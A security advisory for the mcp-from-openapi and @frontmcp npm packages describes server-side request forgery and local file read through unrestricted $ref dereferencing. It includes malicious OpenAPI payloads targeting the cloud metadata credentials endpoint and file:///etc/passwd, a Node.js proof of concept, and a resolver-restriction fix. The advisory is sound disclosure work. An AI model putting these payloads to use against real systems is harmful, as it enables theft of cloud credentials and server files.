# SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications

High **frontegg-david** published **GHSA-v6ph-xcq9-qxxj** 19 hours ago

**Package**

**@frontmcp/adapters** (npm)

| Affected versions | Patched versions |
|---|---|
| <= 1.0.3 | 1.0.4 |

**@frontmcp/sdk** (npm)

| | |
|---|---|
| <= 1.0.3 | 1.0.4 |

**mcp-from-openapi** (npm)

| | |
|---|---|
| <= 2.1.2 | 2.3.0 |

**Description**

## Summary

The `mcp-from-openapi` library uses `@apidevtools/json-schema-ref-parser` to dereference `$ref` pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing `$ref` values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the `initialize()` call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.

## Affected Versions

`<= 2.1.2` (latest)

## CWE

CWE-918: Server-Side Request Forgery (SSRF)

## Vulnerability Details

**File:** `index.js` lines 870-875

When `OpenAPIToolGenerator.initialize()` is called, it dereferences the OpenAPI document using `json-schema-ref-parser`:

```
this.dereferencedDocument = await import_json_schema_ref_parser.default.dereferenc
  JSON.parse(JSON.stringify(this.document))
);
```

No options are passed to `.dereference()` — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in `$ref` values, including:

- `http://` and `https://` URLs (internal services, cloud metadata)
- `file://` URLs (local filesystem)

This is the default behavior of `json-schema-ref-parser` — it resolves all `$ref` pointers by fetching the referenced resource.

## Exploitation

### Attack 1: SSRF to internal services / cloud metadata

A malicious OpenAPI spec containing:

```
{
  "openapi": "3.0.0",
  "info": { "title": "Evil API", "version": "1.0" },
  "paths": {
    "/test": {
      "get": {
        "operationId": "getTest",
        "summary": "test",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credenti
                }
              }
```

```
            }
          }
        }
      }
    }
  }
}
```

When processed by `OpenAPIToolGenerator`, the library fetches `http://169.254.169.254/latest/meta-data/iam/security-credentials/` from the server, potentially leaking AWS IAM credentials.

### Attack 2: Local file read

```
{
  "$ref": "file:///etc/passwd"
}
```

The ref parser reads local files and includes their contents in the dereferenced output.

## Proof of Concept

```
const http = require('http');
const { OpenAPIToolGenerator } = require('mcp-from-openapi');

// Start attacker server to prove SSRF
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'application/json'});
    res.end('{"type":"string"}');
});

srv.listen(9997, async () => {
    const spec = {
        openapi: '3.0.0',
        info: { title: 'Evil', version: '1.0' },
        paths: {
            '/test': {
                get: {
                    operationId: 'getTest',
                    summary: 'test',
                    responses: {
                        '200': {
                            description: 'OK',
                            content: {
                                'application/json': {
                                    schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof'
                                }
                            }
                        }
```

```
                    }
                }
            }
        }
    };

    const gen = new OpenAPIToolGenerator(spec, { validate: false });
    await gen.initialize();
    // Output: "SSRF HIT: GET /ssrf-proof"
    // The library fetched our attacker URL during $ref dereferencing.

    srv.close();
});
```

**Tested and confirmed** on mcp-from-openapi v2.1.2. The attacker server receives the GET request during `initialize()`.

## Impact

- **Cloud credential theft** — `$ref` pointing to `http://169.254.169.254/` steals AWS/GCP/Azure metadata
- **Internal network scanning** — `$ref` values can probe internal services and ports
- **Local file read** — `file://` protocol reads arbitrary files from the server filesystem
- **No privileges required** — attacker only needs to provide a crafted OpenAPI spec to any application using this library

## Suggested Fix

Pass resolver options to `dereference()` that restrict which protocols and hosts are allowed:

```
this.dereferencedDocument = await $RefParser.dereference(
  JSON.parse(JSON.stringify(this.document)),
  {
    resolve: {
      file: false,        // Disable file:// protocol
      http: {
        // Only allow same-origin or explicitly allowed hosts
        headers: this.options.headers,
        timeout: this.options.timeout,
      }
    }
  }
);
```

Or disable all external resolution and require all schemas to be inline:

```
this.dereferencedDocument = await $RefParser.dereference(
  JSON.parse(JSON.stringify(this.document)),
  {
    resolve: { file: false, http: false, https: false }
  }
);
```

### Severity

High 7.5 / 10

**CVSS v3 base metrics**

| | |
|---|---|
| Attack vector | Network |
| Attack complexity | Low |
| Privileges required | None |
| User interaction | None |
| Scope | Unchanged |
| Confidentiality | High |
| Integrity | None |
| Availability | None |

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

### CVE ID

CVE-2026-39885

### Weaknesses

▶ CWE-918

### Credits

 **TharVid** Reporter

 **frontegg-david** Remediation verifier